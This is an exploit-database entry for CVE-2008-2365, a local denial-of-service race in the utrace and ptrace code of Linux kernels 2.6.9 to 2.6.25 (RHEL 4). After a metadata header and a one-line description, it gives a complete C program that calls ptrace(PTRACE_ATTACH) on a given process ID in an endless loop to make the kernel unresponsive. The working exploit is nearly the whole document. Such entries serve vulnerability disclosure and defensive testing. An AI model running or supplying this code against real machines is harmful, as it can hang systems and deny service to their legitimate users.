Linux Kernel 2.6.9 < 2.6.25 (RHEL 4) - utrace and ptrace Local Denial of Service (1)
Author: Alexei Dobryanov
type: dos
platform: linux
port:
date_added: 2008-06-25
date_updated: 2016-09-06
verified: 1
codes: CVE-2008-2365;OSVDB-48563
tags:
aliases:
screenshot_url:
application_url:
/*
source: https://www.securityfocus.com/bid/29945/info
The Linux kernel is prone to a local denial-of-service vulnerability caused by a race condition.
Attackers can exploit this issue to cause the kernel to become unresponsive, denying service to legitimate users.
*/
#include <stdlib.h>
#include <sys/ptrace.h>
int main(int argc, char *argv[])
{
pid_t pid = atoi(argv[1]);
while (1)
ptrace(PTRACE_ATTACH, pid, NULL, NULL);
return 0;
}